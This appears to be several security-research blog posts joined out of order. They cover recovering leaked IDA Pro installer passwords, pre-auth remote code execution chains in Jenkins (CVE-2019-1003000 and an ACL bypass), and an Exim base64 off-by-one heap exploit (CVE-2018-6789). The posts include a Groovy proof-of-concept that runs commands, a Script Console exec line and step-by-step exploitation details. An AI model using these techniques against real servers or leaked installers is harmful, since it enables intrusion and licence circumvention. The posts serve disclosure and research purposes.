Hex-Rays IDA Pro 是目前世界上最知名的反組譯工具,今天我們想來聊聊它的安裝密碼。什麼是安裝密碼?一般來說,在完成 IDA Pro 購買流程後,會收到一個客製化安裝檔及安裝密碼,在程式安裝過程中,會需要那組安裝密碼才得以繼續安裝。那麼,如果今天在網路上發現一包洩漏的 IDA Pro 安裝檔,我們有可能在不知道密碼的狀況下順利安裝嗎?這是一個有趣的開放性問題。
在我們團隊成員腦力激盪下,給出了一個驗證性的答案:是的,在有 Linux 或 MacOS 版安裝檔的狀況下,我們可以直接找到正確的安裝密碼;而在有 Windows 版安裝檔的狀況下,我們只需要十分鐘就可算出安裝密碼。
下面就是我們的驗證流程:
* Linux 以及 MacOS 版
最先驗證成功的是 Linux 及 MacOS 版,這兩個版本都是透過 InstallBuilder 封裝成安裝檔。我們嘗試執行安裝程式,並在記憶體中直接發現了未加密的安裝密碼。任務達成!
大約一個月的運算,我們終於成功利用 Perl 亂數產生出 IDA Pro 的安裝密碼,而正確的字元組順序為 abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789。例如 hacking team 洩漏的 IDA Pro 6.8 安裝密碼是 FgVQyXZY2XFk,就可用下面程式碼產生:
透過這些資訊,我們可以建立一個用來暴力列舉安裝密碼的字典檔,縮短暴力列舉的時間,實作方式可參考 inno2john 專案。在一般情況下,約十分鐘即可算出 windows 安裝檔的安裝密碼。
在回報 Hex-Rays 後,他們立刻表示之後將會使用更安全的安裝密碼。
總結
本篇文章提出了一個開放性問題:在未知安裝密碼的情況下可不可以安裝 IDA Pro?結果我們在 Linux 以及 MacOS 版發現可以從記憶體中取得明文密碼。而在 Windows 版本中,我們黑箱找到了安裝密碼產生的方式,因此我們可以建立一份字典檔,用以縮短暴力列舉安裝密碼的時間,最終,我們約十分鐘可解出一組密碼,是一個可以接受的時間。
Today, we are going to talk about the installation password of Hex-Rays IDA Pro, which is the most famous decompiler. What is installation password? Generally, customers receive a custom installer and installation password after they purchase IDA Pro. The installation password is required during installation process. However, if someday we find a leaked IDA Pro installer, is it still possible to install without an installation password? This is an interesting topic.
After brainstorming with our team members, we verified the answer: Yes! With a Linux or MacOS version installer, we can easily find the password directly. With a Windows version installer, we only need 10 minutes to calculate the password. The following is the detailed process:
* Linux and MacOS version
The first challenge is Linux and MacOS version. The installer is built with an installer creation tool called InstallBuilder. We found the plaintext installation password directly in the program memory of the running IDA Pro installer. Mission complete!
This problem is fixed after we reported through Hex-Rays. BitRock released InstallBuilder 19.2.0 with the protection of installation password on 2019/02/11.
* Windows version
It gets harder on Windows version because the installer is built with Inno Setup, which store its password with 160-bit SHA-1 hash. Therefore, we cannot get the password simply with static or dynamic analyzing the installer, and brute force is apparently not an effective way. But the situation is different if we can grasp the methodology of password generation, which lets us enumerate the password more effectively!
Although we have realized we need to find how Hex-Rays generate password, it is still really difficult, as we do not know what language the random number generator is implemented with. There are at least 88 random number generators known. It is such a great variation.
We first tried to find the charset used by random number generator. We collected all leaked installation passwords, such as hacking team’s password, which is leaked by WikiLeaks.
From the collected passwords we can summarize the charset:
23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz
The missing of 1, I, l, 0, O, o, N, n seems to make sense because they are confusing characters.
Next, we guess the possible charset ordering like these:
Lastly, we picked some common languages(c/php/python/perl)to implement a random number generator and enumerate all the combinations. Then we examined whether the collected passwords appears in the combinations. For example, here is a generator written in C language:
After a month, we finally generated the IDA Pro installation passwords successfully with Perl, and the correct charset ordering is abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789. For example, we can generate the hacking team’s leaked password FgVQyXZY2XFk with the following script:
With this, we can build a dictionary of installation password, which effectively increase the efficiency of brute force attack. Generally, we can compute the password of one installer in 10 minutes.
We have reported this issue to Hex-Rays, and they promised to harden the installation password immediately.
Summary
In this article, we discussed the possibility of installing IDA Pro without owning installation password. In the end, we found plaintext password in the program memory of Linux and MacOS version. On the other hand, we determined the password generation methodology of Windows version. Therefore, we can build a dictionary to accelerate brute force attack. Finally, we can get one password at a reasonable time.
We really enjoy this process: surmise wisely and prove it with our best. It can broaden our experience no matter the result is correct or not. This is why we took a whole month to verify such a difficult surmise. We also take this attitude in our Red Team Assessment. You would love to give it a try!
Lastly, we would like to thank for the friendly and rapid response from Hex-Rays. Although this issue is not included in Security Bug Bounty Program, they still generously awarded us IDA Pro Linux and MAC version, and upgraded the Windows version for us. We really appreciate it.
Timeline
Jan 31, 2019 - Report to Hex-Rays
Feb 01, 2019 - Hex-Rays promised to harden the installation password and reported to BitRock
Feb 11, 2019 - BitRock released InstallBuilder 19.2.0
publicJSONdoCheckScriptCompile(@QueryParameterStringvalue){try{CpsGroovyShelltrusted=newCpsGroovyShellFactory(null).forTrusted().build();newCpsGroovyShellFactory(null).withParent(trusted).build().getClassLoader().parseClass(value);}catch(CompilationFailedExceptionx){returnJSONArray.fromObject(CpsFlowDefinitionValidator.toCheckStatus(x).toArray());}returnCpsFlowDefinitionValidator.CheckStatus.SUCCESS.asJSON();// Approval requirements are managed by regular stapler form validation (via doCheckScript)}
#define a 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
#define b a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a
#define c b,b,b,b,b,b,b,b,b,b,b,b,b,b,b,b
#define d c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c
#define e d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d
#define f e,e,e,e,e,e,e,e,e,e,e,e,e,e,e,e
__int128x[]={f,f,f,f,f,f,f,f};
@ASTTest is a special AST transformation meant to help debugging other AST transformations or the Groovy compiler itself. It will let the developer “explore” the AST during compilation and perform assertions on the AST rather than on the result of compilation. This means that this AST transformations gives access to the AST before the bytecode is produced. @ASTTest can be placed on any annotable node and requires two parameters:
voidprocessOtherServices(ClassLoaderloader,Filef){try{ZipFilezf=newZipFile(f)ZipEntryserializedCategoryMethods=zf.getEntry("META-INF/services/org.codehaus.groovy.runtime.SerializedCategoryMethods")if(serializedCategoryMethods!=null){processSerializedCategoryMethods(zf.getInputStream(serializedCategoryMethods))}ZipEntrypluginRunners=zf.getEntry("META-INF/services/org.codehaus.groovy.plugins.Runners")if(pluginRunners!=null){processRunners(zf.getInputStream(pluginRunners),f.getName(),loader)}}catch(ZipExceptionignore){// ignore files we can't process, e.g. non-jar/zip artifacts// TODO log a warning}}
由於 JAR 檔案其實就是一個 ZIP 壓縮格式的子集,Grape 會檢查檔案中是否存在一些指定的入口點,其中一個 Runner 的入口點檢查引起了我們的興趣,持續跟進 processRunners(…) 的實作我們發現:
This is the Hacking Jenkins series part two! For those people who still have not read the part one yet, you can check the following link to get some basis and see how vulnerable Jenkins’ dynamic routing is!
As the previous article said, in order to utilize the vulnerability, we want to find a code execution can be chained with the ACL bypass vulnerability to a well-deserved pre-auth remote code execution! But, I failed. Due to the feature of dynamic routing, Jenkins checks the permission again before most dangerous invocations(Such as the Script Console)! Although we could bypass the first ACL, we still can’t do much things :(
After Jenkins released the Security Advisory and fixed the dynamic routing vulnerability on 2018-12-05, I started to organize my notes in order to write this Hacking Jenkins series. While reviewing notes, I found another exploitation way on a gadget that I failed to exploit before! Therefore, the part two is the story for that! This is also one of my favorite exploits and is really worth reading :)
Vulnerability Analysis
First, we start from the Jenkins Pipeline to explain CVE-2019-1003000! Generally the reason why people choose Jenkins is that Jenkins provides a powerful Pipeline feature, which makes writing scripts for software building, testing and delivering easier! You can imagine Pipeline is just a powerful language to manipulate the Jenkins(In fact, Pipeline is a DSL built with Groovy)
In order to check whether the syntax of user-supplied scripts is correct or not, Jenkins provides an interface for developers! Just think about if you are the developer, how will you implement this syntax-error-checking function? You can just write an AST(Abstract Syntax Tree) parser by yourself, but it’s too tough. So the easiest way is to reuse existing function and library!
As we mentioned before, Pipeline is just a DSL built with Groovy, so Pipeline must follow the Groovy syntax! If the Groovy parser can deal with the Pipeline script without errors, the syntax must be correct! The code fragments here shows how Jenkins validates the Pipeline:
publicJSONdoCheckScriptCompile(@QueryParameterStringvalue){try{CpsGroovyShelltrusted=newCpsGroovyShellFactory(null).forTrusted().build();newCpsGroovyShellFactory(null).withParent(trusted).build().getClassLoader().parseClass(value);}catch(CompilationFailedExceptionx){returnJSONArray.fromObject(CpsFlowDefinitionValidator.toCheckStatus(x).toArray());}returnCpsFlowDefinitionValidator.CheckStatus.SUCCESS.asJSON();// Approval requirements are managed by regular stapler form validation (via doCheckScript)}
Here Jenkins validates the Pipeline with the method GroovyClassLoader.parseClass(…)! It should be noted that this is just an AST parsing. Without running execute() method, any dangerous invocation won’t be executed! If you try to parse the following Groovy script, you get nothing :(
From the view of developers, the Pipeline can control Jenkins, so it must be dangerous and requires a strict permission check before every Pipeline invocation! However, this is just a simple syntax validation so the permission check here is more less than usual! Without any execute() method, it’s just an AST parser and must be safe! This is what I thought when the first time I saw this validation. However, while I was writing the technique blog, Meta-Programming flashed into my mind!
What is Meta-Programming
Meta-Programming is a kind of programming concept! The idea of Meta-Programming is providing an abstract layer for programmers to consider the program in a different way, and makes the program more flexible and efficient! There is no clear definition of Meta-Programming. In general, both processing the program by itself and writing programs that operate on other programs(compiler, interpreter or preprocessor…) are Meta-Programming! The philosophy here is very profound and could even be a big subject on Programming Language!
If it is still hard to understand, you can just regard eval(...) as another Meta-Programming, which lets you operate the program on the fly. Although it’s a little bit inaccurate, it’s still a good metaphor for understanding! In software engineering, there are also lots of techniques related to Meta-Programming. For example:
C Macro
C++ Template
Java Annotation
Ruby (Ruby is a Meta-Programming friendly language, even there are books for that)
DSL(Domain Specific Languages, such as Sinatra and Gradle)
When we are talking about Meta-Programming, we classify it into (1)compile-time and (2)run-time Meta-Programming according to the scope. Today, we focus on the compile-time Meta-Programming!
P.S. It’s hard to explain Meta-Programming in non-native language. If you are interested, here are some materials! Wiki, Ref1, Ref2P.S. I am not a programming language master, if there is anything incorrect or inaccurate, please forgive me <(_ _)>
How to Exploit?
From the previous section we know Jenkins validates Pipeline by parseClass(…) and learn that Meta-Programming can poke the parser during compile-time! Compiling(or parsing) is a hard work with lots of tough things and hidden features. So, the idea is, is there any side effect we can leverage?
There are many simple cases which have proved Meta-Programming can make the program vulnerable, such as the macro expansion in C language:
#define a 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
#define b a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a
#define c b,b,b,b,b,b,b,b,b,b,b,b,b,b,b,b
#define d c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c
#define e d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d
#define f e,e,e,e,e,e,e,e,e,e,e,e,e,e,e,e
__int128x[]={f,f,f,f,f,f,f,f};
or the compiler resource bomb(make a 16GB ELF by just 18 bytes):
For more examples, you can refer to the article Build a Compiler Bomb on StackOverflow!
First Attempt
Back to our exploitation, Pipeline is just a DSL built with Groovy, and Groovy is also a Meta-Programming friendly language. We start reading the Groovy official Meta-Programming manual to find some exploitation ways. In the section 2.1.9, we found the @groovy.transform.ASTTest annotation. Here is its description:
@ASTTest is a special AST transformation meant to help debugging other AST transformations or the Groovy compiler itself. It will let the developer “explore” the AST during compilation and perform assertions on the AST rather than on the result of compilation. This means that this AST transformations gives access to the AST before the Bytecode is produced. @ASTTest can be placed on any annotable node and requires two parameters:
What! perform assertions on the AST? Isn’t that what we want? Let’s write a simple Proof-of-Concept in local environment first:
this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
assert java.lang.Runtime.getRuntime().exec("touch pwned")
})
def x
''');
$ ls
poc.groovy
$ groovy poc.groovy
$ ls
poc.groovy pwned
Cool, it works! However, while reproducing this on the remote Jenkins, it shows:
unable to resolve class org.jenkinsci.plugins.workflow.libs.Library
What the hell!!! What’s wrong with that?
With a little bit digging, we found the root cause. This is caused by the Pipeline Shared Groovy Libraries Plugin! In order to reuse functions in Pipeline, Jenkins provides the feature that can import customized library into Pipeline! Jenkins will load this library before every executed Pipeline. As a result, the problem become lack of corresponding library in classPath during compile-time. That’s why the error unsable to resolve class occurs!
How to fix this problem? It’s simple! Just go to Jenkins Plugin Manager and remove the Pipeline Shared Groovy Libraries Plugin! It can fix the problem and then we can execute arbitrary code without any error! But, this is not a good solution because this plugin is installed along with the Pipeline. It’s lame to ask administrator to remove the plugin for code execution! We stop digging this and try to find another way!
Second Attempt
We continued reading the Groovy Meta-Programming manual and found another interesting annotation - @Grab. There is no detailed information about @Grab on the manual. However, we found another article - Dependency management with Grape on search engine!
Oh, from the article we know Grape is a built-in JAR dependency management in Groovy! It can help programmers import the library which are not in classPath. The usage looks like:
By using @Grab annotation, it can import the JAR file which is not in classPath during compile-time automatically! If you just want to bypass the Pipeline sandbox via a valid credential and the permission of Pipeline execution, that’s enough. You can follow the PoC proveded by @adamyordan to execute arbitrary commands!
However, without a valid credential and execute() method, this is just an AST parser and you even can’t control files on remote server. So, what can we do? By diving into more about @Grab, we found another interesting annotation - @GrabResolver:
Wow, it works! Now, we believe we can make Jenkins import any malicious library by Grape! However, the next problem is, how to get code execution?
The Way to Code Execution
In the exploitation, the target is always escalating the read primitive or write primitive to code execution! From the previous section, we can write malicious JAR file into remote Jenkins server by Grape. However, the next problem is how to execute code?
voidprocessOtherServices(ClassLoaderloader,Filef){try{ZipFilezf=newZipFile(f)ZipEntryserializedCategoryMethods=zf.getEntry("META-INF/services/org.codehaus.groovy.runtime.SerializedCategoryMethods")if(serializedCategoryMethods!=null){processSerializedCategoryMethods(zf.getInputStream(serializedCategoryMethods))}ZipEntrypluginRunners=zf.getEntry("META-INF/services/org.codehaus.groovy.plugins.Runners")if(pluginRunners!=null){processRunners(zf.getInputStream(pluginRunners),f.getName(),loader)}}catch(ZipExceptionignore){// ignore files we can't process, e.g. non-jar/zip artifacts// TODO log a warning}}
JAR file is just a subset of ZIP format. In the processOtherServices(…), Grape registers servies if there are some specified entry points. Among them, the Runner interests me. By looking into the implementation of processRunners(…), we found this:
Here we see the newInstance(). Does it mean that we can call Constructor on any class? Yes, so, we can just create a malicious JAR file, and put the class name into the file META-INF/services/org.codehaus.groovy.plugins.Runners and we can invoke the Constructor and execute arbitrary code!
With the exploit, we can gain full access on remote Jenkins server! We use Meta-Programming to import malicious JAR file during compile-time, and executing arbitrary code by the Runner service! Although there is a built-in Groovy Sandbox(Script Security Plugin) on Jenkins to protect the Pipeline, it’s useless because the vulnerability is in compile-time, not in run-time!
Because this is an attack vector on Groovy core, all methods related to the Groovy parser are affected! It breaks the developer’s thought which there is no execution so there is no problem. It is also an attack vector that requires the knowledge about computer science. Otherwise, you cannot think of the Meta-Programming! That’s what makes this vulnerability interesting. Aside from entry points doCheckScriptCompile(...) and toJson(...) I reported, after the vulnerability has been fixed, Mikhail Egorov also found another entry point quickly to trigger this vulnerability!
Apart from that, this vulnerability can also be chained with my previous exploit on Hacking Jenkins Part 1 to bypass the Overall/Read restriction to a well-deserved pre-auth remote code execution. If you fully understand the article, you know how to chain :P
Thank you for reading this article and hope you like it! Here is the end of Hacking Jenkins series, I will publish more interesting researches in the future :)
In software engineering, the Continuous Integration and Continuous Delivery is a best practice for developers to reduce routine works. In the CI/CD, the most well-known tool is Jenkins. Due to its ease of use, awesome Pipeline system and integration of Container, Jenkins is also the most widely used CI/CD application in the world. According to the JVM Ecosystem Report by Snyk in 2018, Jenkins held about 60% market share on the survey of CI/CD server.
For Red Teamers, Jenkins is also the battlefield that every hacker would like to control. If someone takes control of the Jenkins server, he can gain amounts of source code and credential, or even control the Jenkins node! In our DEVCORE Red Team cases, there are also several cases that the whole corporation is compromised from simply a Jenkins server as our entry point!
This article is mainly about a brief security review on Jenkins in the last year. During this review, we found 5 vulnerabilities including:
Among them, the more discussed one is the vulnerability CVE-2018-1999002. This is an arbitrary file read vulnerability through an unusual attack vector! Tencent YunDing security lab has written a detailed advisory about that, and also demonstrated how to exploit this vulnerability from arbitrary file reading to RCE on a real Jenkins site which found from Shodan!
However, we are not going to discuss that in this article. Instead, this post is about another vulnerability found while digging into Stapler framework in order to find a way to bypass the least privilege requirement ANONYMOUS_READ=True of CVE-2018-1999002! If you merely take a look at the advisory description, you may be curious – Is it reality to gain code execution with just a crafted URL?
From my own perspective, this vulnerability is just an Access Control List(ACL) bypass, but because this is a problem of the architecture rather than a single program, there are various ways to exploit this bug! In order to pay off the design debt, Jenkins team also takes lots of efforts (patches in Jenkins side and Stapler side) to fix that. The patch not only introduces a new routing blacklist and whitelist but also extends the original Service Provider Interface (SPI) to protect Jenkins’ routing. Now let’s figure out why Jenkins need to make such a huge code modification!
Review Scope
This is not a complete code review (An overall security review takes lots of time…), so this review just aims at high impact bugs. The review scope includes:
Jenkins Core
Stapler Web Framework
Suggested Plugins
During the installation, Jenkins asks whether you want to install suggested plugins such as Git, GitHub, SVN and Pipeline. Basically, most people choose yes, or they will get an inconvenient and hard-to-use Jenkins.
Privilege Levels
Because the vulnerability is an ACL bypass, we need to introduce the privilege level in Jenkins first! In Jenkins, there are different kinds of ACL roles, Jenkins even has a specialized plugin Matrix Authorization Strategy Plugin(also in the suggested plugin list) to configure the detailed permission per project. From an attacker’s view, we roughly classify the ACL into 3 types:
1. Full Access
You can fully control Jenkins. Once the attacker gets this permission, he can execute arbitrary Groovy code via Script Console!
print"uname -a".execute().text
This is the most hacker-friendly scenario, but it’s hard to see this configuration publicly now due to the increase of security awareness and lots of bots scanning all the IPv4.
Under this mode, all contents are visible and readable. Such as agent logs and job/node information. For attackers, the best benefit of this mode is the accessibility of a bunch of private source codes! However, the attacker cannot do anything further or execute Groovy scripts!
Although this is not the default setting, for DevOps, they may still open this option for automations. According to a little survey on Shodan, there are about 12% servers enabled this mode! We will call this mode ANONYMOUS_READ=True in the following sections.
3. Authenticated Mode
This is the default mode. Without a valid credential, you can’t see any information! We will use ANONYMOUS_READ=False to call this mode in following sections.
Vulnerability Analysis
To explain this vulnerability, we will start with Jenkins’ Dynamic Routing. In order to provide developers more flexibilities, Jenkins uses a naming convention to resolve the URL and invoke the method dynamically. Jenkins first tokenizes all the URL by /, and begins from jenkins.model.Jenkins as the entry point to match the token one by one. If the token matches (1)public class member or (2)public class method correspond to following naming conventions, Jenkins invokes recursively!
get<token>()
get<token>(String)
get<token>(Int)
get<token>(Long)
get<token>(StaplerRequest)
getDynamic(String, …)
doDynamic(…)
do<token>(…)
js<token>(…)
Class method with @WebMethod annotation
Class method with @JavaScriptMethod annotation
It looks like Jenkins provides developers a lot of flexibility. However, too much freedom is not always a good thing. There are two problems based on this naming convention!
1. Everything is the Subclass of java.lang.Object
In Java, everything is a subclass of java.lang.Object. Therefore, all objects must exist the method - getClass(), and the name of getClass() just matches the naming convention rule #1! So the method getClass() can be also invoked during Jenkins dynamic routing!
2. Whitelist Bypass
As mentioned before, the biggest difference between ANONYMOUS_READ=True and ANONYMOUS_READ=False is, if the flag set to False, the entry point will do one more check in jenkins.model.Jenkins#getTarget(). The check is a white-list based URL prefix check and here is the list:
That means you are restricted to those entrances, but if you can find a cross reference from the white-list entrance jump to other objects, you can still bypass this URL prefix check! It seems a little bit hard to understand. Let’s give a simple example to demonstrate the dynamic routing:
This execution chain seems smooth, but sadly, it can not retrieve the result. Therefore, this is not a potential risk, but it’s still a good case to understand the mechanism!
Once we realize the principle, the remaining part is like solving a maze. jenkins.model.Jenkins is the entry point. Every member in this object can references to a new object, so our work is to chain the object layer by layer till the exit door, that is, the dangerous method invocation!
By the way, the saddest thing is that this vulnerability cannot invoke the SETTER, otherwise this would definitely be another interesting classLoader manipulation bug just like Struts2 RCE and Spring Framework RCE!!
How to Exploit?
How to exploit? In brief, the whole thing this bug can achieve is to use cross reference objects to bypass ACL policy. To leverage it, we need to find a proper gadget so that we can invoke the object we prefer in this object-forest more conveniently! Here we choose the gadget:
In Jenkins, all configurable objects will extend the type hudson.model.Descriptor. And, any class who extends the Descriptor type is accessible by method hudson.model.DescriptorByNameOwner#getDescriptorByName(String). In general, there are totally about 500 class types can be accessed! But due to the architecture of Jenkins. Most developers will check the permission before the dangerous action again. So even we can find a object reference to the Script Console, without the permission Jenkins.RUN_SCRIPTS, we still can’t do anything :(
Even so, this vulnerability can still be considered as a stepping stone to bypass the first ACL restriction and to chain other bugs. We will show 3 vulnerability-chains as our case study! (Although we just show 3 cases, there are more than 3! If you are intersted, it’s highly recommended to find others by yourself :P )
P.S. It should be noted that in the method getUser([username]), it will invoke getOrCreateById(...) with create flag set to True. This result to the creation of a temporary user in memory(which will be listed in the user list but can’t sign in). Although it’s harmless, it is still recognized as a security issue in SECURITY-1128.
1. Pre-auth User Information Leakage
While testing Jenkins, it’s a common scenario that you want to perform a brute-force attack but you don’t know which account you can try(a valid credential can read the source at least so it’s worth to be the first attempt).
In this situation, this vulnerability is useful!
Due to the lack of permission check on search functionality. By modifying the keyword from a to z, an attacker can list all users on Jenkins!
2. Chained with CVE-2018-1000600 to a Pre-auth Fully-responded SSRF
The next bug is CVE-2018-1000600, this bug is reported by Orange Tsai(Yes, it’s me :P). About this vulnerability, the official description is:
CSRF vulnerability and missing permission checks in GitHub Plugin allowed capturing credentials
It can extract any stored credentials with known credentials ID in Jenkins. But the credentials ID is a random UUID if there is no user-supplied value provided. So it seems impossible to exploit this?(Or if someone know how to obtain credentials ID, please tell me!)
Although it can’t extract any credentials without known credentials ID, there is still another attack primitive - a fully-response SSRF! We all know how hard it is to exploit a Blind SSRF, so that’s why a fully-responded SSRF is so valuable!
In order to maximize the impact, I also find an INTERESTING remote code execution can be chained with this vulnerability to a well-deserved pre-auth RCE! But it’s still on the responsible disclosure process. Please wait and see the Part 2! (Will be published on February 19th :P)
TODO
Here is my todo list which can make this vulnerability more perfect. If you find any of them please tell me, really appreciate it :P
Get the Plugin object reference under ANONYMOUS_READ=False. If this can be done, it can bypass the ACL restriction of CVE-2018-1999002 and CVE-2018-6356 to a indeed pre-auth arbitrary file reading!
Find another gadget to invoke the method getDescriptorByName(String) under ANONYMOUS_READ=False. In order to fix SECURITY-672, Jenkins applies a check on hudson.model.User to ensure the least privilege Jenkins.READ. So the original gadget will fail after Jenkins version 2.138.
Acknowledgement
Thanks Jenkins Security team especially Daniel Beck for the coordination and bug fixing! Here is the brief timeline:
May 30, 2018 - Report vulnerabilities to Jenkins
Jun 15, 2018 - Jenkins patched the bug and assigned CVE-2018-1000600
Jul 18, 2018 - Jenkins patched the bug and assigned CVE-2018-1999002
Aug 15, 2018 - Jenkins patched the bug and assigned CVE-2018-1999046
Dec 05, 2018 - Jenkins patched the bug and assigned CVE-2018-1000861
Dec 20, 2018 - Report Groovy vulnerability to Jenkins
Jan 08, 2019 - Jenkins patched Groovy vulnerability and assigned CVE-2019-1003000, CVE-2019-1003001 and CVE-2019-1003002
We reported an overflow vulnerability in the base64 decode function of Exim on 5 February, 2018, identified as CVE-2018-6789. This bug exists since the first commit of exim, hence ALL versions are affected. According to our research, it can be leveraged to gain Pre-auth Remote Code Execution and at least 400k servers are at risk. Patched version 4.90.1 is already released and we suggest to upgrade exim immediately.
Affected
All Exim versions below 4.90.1
One byte overflow in base64 decoding
Vulnerability Analysis
This is a calculation mistake of decode buffer length in b64decode function:
base64.c: 153 b64decode
As shown above, exim allocates a buffer of 3*(len/4)+1 bytes to store decoded base64 data. However, when the input is not a valid base64 string and the length is 4n+3, exim allocates 3n+1 but consumes 3n+2 bytes while decoding. This causes one byte heap overflow (aka off-by-one).
Generally, this bug is harmless because the memory overwritten is usually unused. However, this byte overwrites some critical data when the string fits some specific length. In addition, this byte is controllable, which makes exploitation more feasible.
Base64 decoding is such a fundamental function and therefore this bug can be triggered easily, causing remote code execution.
Exploitation
To estimate the severity of this bug, we developed an exploit targeting SMTP daemon of exim. The exploitation mechanism used to achieve pre-auth remote code execution is described in the following paragraphs. In order to leverage this one byte overflow, it is necessary to trick memory management mechanism. It is highly recommended to have basic knowledge of heap exploitation [ref] before reading this section.
We developed the exploit with:
Debian(stretch) and Ubuntu(zesty)
SMTP daemon of Exim4 package installed with apt-get (4.89/4.88)
Config enabled (uncommented in default config) CRAM-MD5 authenticator (any other authenticator using base64 also works)
Basic SMTP commands (EHLO, MAIL FROM/RCPT TO) and AUTH
Memory allocation
First, we review the source code and search for useful memory allocation. As we mentioned in the previous article, exim uses self-defined functions for dynamic allocation:
externBOOLstore_extend_3(void*,int,int,constchar*,int);/* The */externvoidstore_free_3(void*,constchar*,int);/* value of the */externvoid*store_get_3(int,constchar*,int);/* 2nd arg is */externvoid*store_get_perm_3(int,constchar*,int);/* __FILE__ in */externvoid*store_malloc_3(int,constchar*,int);/* every call, */externvoidstore_release_3(void*,constchar*,int);/* so give its */externvoidstore_reset_3(void*,constchar*,int);/* correct type */
Function store_free() and store_malloc() calls malloc() and free() of glibc directly. Glibc takes a slightly bigger (0x10 bytes) chunk and stores its metadata in the first 0x10 bytes (x86-64) on every allocation, and then returns the location of data. The following illustration describes structure of chunk:
Metadata includes size of previous chunk (the one exactly above in memory), size of current block and some flags. The first three bits of size are used to store flags. In this example, size of 0x81 implies current chunk is 0x80 bytes and the previous chunk is in use.
Most of released chunks used in exim are put into a doubly linked list called unsorted bin. Glibc maintains it according to the flags, and merges adjacent released chunks into a bigger chunk to avoid fragmentation. For every allocation request, glibc checks these chunks in an FIFO (first in, first-out) order and reuses the chunks.
For some performance issues, exim maintains its own linked list structure with store_get(), store_release(), store_extend() and store_reset().
The main feature of storeblocks is that every block is at least 0x2000 bytes, which becomes a restriction to our exploitation. Note that a storeblock is also the data of a chunk. Therefore, if we look into the memory, it is like:
Here we list functions used to arrange heap data:
EHLO hostname
For each EHLO(or HELO) command, exim stores the pointer of hostname in sender_host_name.
1839/* Discard any previous helo name */18401841if(sender_helo_name!=NULL)1842{1843store_free(sender_helo_name);1844sender_helo_name=NULL;1845}...1884if(yield)sender_helo_name=string_copy_malloc(start);1885returnyield;
Unrecognized command
For every unrecognized command with unprintable characters, exim allocates a buffer to convert it to printable
AUTH
In most authentication procedure, exim uses base64 encoding to communicate with client. The encode and decode string are stored in a buffer allocated by store_get().
store_get() for strings
can contain unprintable characters, NULL bytes
not necessarily null terminated
Reset in EHLO/HELO, MAIL, RCPT
When a command is done correctly, smtp_reset() is called. This function calls store_reset() to reset block chain to a reset point, which means all storeblocks allocated by store_get() after last command are released.
store_reset() to reset point (set at the beginning of function)
3771 int
3772 smtp_setup_msg(void)
3773 {
3774 int done = 0;
3775 BOOL toomany = FALSE;
3776 BOOL discarded = FALSE;
3777 BOOL last_was_rej_mail = FALSE;
3778 BOOL last_was_rcpt = FALSE;
3779 void *reset_point = store_get(0);
3780
3781 DEBUG(D_receive) debug_printf("smtp_setup_msg entered\n");
3782
3783 /* Reset for start of new message. We allow one RSET not to be counted as a
3784 nonmail command, for those MTAs that insist on sending it between every
3785 message. Ditto for EHLO/HELO and for STARTTLS, to allow for going in and out of
3786 TLS between messages (an Exim client may do this if it has messages queued up
3787 for the host). Note: we do NOT reset AUTH at this point. */
3788
3789 smtp_reset(reset_point);
Exploit steps
To leverage this off-by-one, the chunk beneath decoded base64 data should be freed easily and controllable. After several attempts, we found that sender_host_name is a better choice. We arrange the heap layout to leave a freed chunk above sender_host_name for the base64 data.
Put a huge chunk into unsorted bin
First of all, we send a EHLO message with huge hostname to make it allocate and deallocate, leaving a 0x6060 length (3 storeblocks long) chunk in unsorted bin.
Cut the first storeblock
Then we send an unrecognized string to trigger store_get() and allocate a storeblock inside the freed chunk.
Cut the second storeblock and release the first one
We send a EHLO message again to get the second storeblock. The first block is freed sequentially because of the smtp_reset called after EHLO is done.
After the heap layout is prepared, we can use the off-by-one to overwrite the original chunk size. We modify 0x2021 to 0x20f1, which slightly extends the chunk.
Send base64 data and trigger off-by-one
To trigger off-by-one, we start an AUTH command to send base64 data. The overflow byte precisely overwrites the first byte of next chunk and extends the next chunk.
Forge a reasonable chunk size
Because the chunk is extended, the start of next chunk of is changed to somewhere inside of the original one. Therefore, we need to make it seems like a normal chunk to pass sanity checks in glibc. We send another base64 string here, because it requires NULL byte and unprintable character to forge chunk size.
Release the extended chunk
To control the content of extended chunk, we need to release the chunk first because we cannot edit it directly. That is, we should send a new EHLO message to release the old host name. However, normal EHLO message calls smtp_reset after it succeeds, which possibly makes program abort or crash. To avoid this, we send an invalid host name such as a+.
Overwrite the next pointer of overlapped storeblock
After the chunk is released, we can retrieve it with AUTH and overwrite part of overlapped storeblock. Here we use a trick called partial write. With this, we can modify the pointer without breaking ASLR (Address space layout randomization). We partially changed the next pointer to a storeblock containing ACL (Access Control List) strings. The ACL strings are pointed by a set of global pointers such as:
These pointers are initialized at the beginning of exim process, set according to the configure. For example, if there is a line acl_smtp_mail = acl_check_mail in the configure, the pointer acl_smtp_mail points to the string acl_check_mail. Whenever MAIL FROM is used, exim performs an ACL check, which expands acl_check_mail first. While expanding, exim tries to execute commands if it encounters ${run{cmd}}, so we achieve code execution as long as we control the ACL strings. In addition, we do not need to hijack program control flow directly and therefore we can bypass mitigations such as PIE (Position Independent Executables), NX easily.
Reset storeblocks and retrieve the ACL storeblock
Now the ACL storeblock is in the linked list chain. It will be released once smtp_reset() is triggered, and then we can retrieve it again by allocating multiple blocks.
Overwrite ACL strings and trigger ACL check
Finally, we overwrite the whole block containing ACL strings. Now we send commands such as EHLO, MAIL, RCPT to trigger ACL checks. Once we touch an acl defined in the configure, we achieve remote code execution.
Fix
Upgrade to 4.90.1 or above
Timeline
5 February, 2018 09:10 Reported to Exim
6 February, 2018 23:23 CVE received
10 February, 2018 18:00 Patch released
Credits
Vulnerabilities found by Meh, DEVCORE research team.
meh [at] devco [dot] re
